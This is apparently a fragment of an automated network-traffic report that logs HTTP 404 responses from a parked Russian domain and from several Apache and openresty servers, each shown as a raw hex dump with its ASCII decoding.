3a a2 d1 c4 6d db 22 d4 66 58 ed 69 3d 8c 2f 38 0e 82 cf 46 f8 9a 60 08 c2 ed d0 f7 c3 5d 11 84 e1 50 01 25 f8 80 38 00 5a 54 04 3c cb a8 4b 41 dd 6a 23 ea fb 50 e6 af 34 bb 3d f9 68 72 b3 ee c8 66 dd c1 3a 9a f5 b9 c5 74 55 ab 95 46 ba b5 1b c9 e1 10 42 53 03 cf b7 b7 38 16 5b 88 05 d0 c2 d2 4e ec 96 5e 18 6b 90 88 15 6b a9 3d 17 0e 98 9b 75 c6 d6 56 3a 3f f9 69 75 6a 8d 39 8f 58 4c 0d a5 25 bc d1 5b 6d d6 87 cb c7 76 94 41 31 42 f5 d9 7d 55 6f 47 cd e4 d0 b8 2b f9 81 fc 98 fc c0 be 7d 70 cc 9b 33 26 1f 2e 5b 76 7b a4 75 18 c4 99 bd b1 ee 02 08 cc 43 68 69 3e c0 09 7e 18 b5 d8 cb 2a 70 09 6a e9 83 d8 bb aa 5a f0 ff 40 fa ec 8c d4 a6 f9 f8 dc 7e 69 7f 76 0c 38 b9 20 62 28 3b 1d b8 a9 e5 13 72 e6 91 47 04 6d d0 e7 ec f6 42 2f 76 d6 dd 9e 72 fb 8d 95 0e 27 8a 45 fc bd 22 07 c3 35 8c 69 c5 e1 28 72 55 23 53 81 98 b9 d4 fc 35 49 21 24 8a e2 7a 29 70 8a fa 33 75 17 e2 f1 e4 f5 74 c2 81 f4 72 82 cf 82 a6 a0 ba e9 e0 04 6a d7 59 1f e9 41 a6 d9 42 ed e9 39 e5 98 d1 20 d3 7c 85 9a 5c ac 4a 7a dd a0 11 c3 50 41 a7 05 59 27 2f 34 f9 3b 80 f1 9f e4 40 4c 3e 4d 8e 26 9f 4d 6e 8a e4 7e c6 0b a7 0b a1 18 0f 65 b0 00 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:27:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeData Raw: 32 34 66 63 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 6d 61 72 6b 65 74 70 6c 61 63 65 72 2e 74 6f 70 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 3c 73 63 72 69 70 74 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 0a 2f 2a 5d 5d 3e 2a 2f 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 20 62 2d 70 61 67 65 5f 74 79 70 65 5f 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 5f 62 67 5f 6c 69 67 68 74 22 3e 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 5f 74 79 70 65 5f 72 64 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 2d 6e 6f 74 65 20 62 2d 74 65 78 74 22 3e d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 b7 d0 b0 d1 80 d0 b5 d0 b3 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Nov 2024 08:27:55 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Nov 2024 08:27:58 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Nov 2024 08:28:00 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Nov 2024 08:28:00 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Nov 2024 08:28:03 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Wed, 13 Nov 2024 08:28:23 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Wed, 13 Nov 2024 08:28:26 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Wed, 13 Nov 2024 08:28:28 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Wed, 13 Nov 2024 08:28:31 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 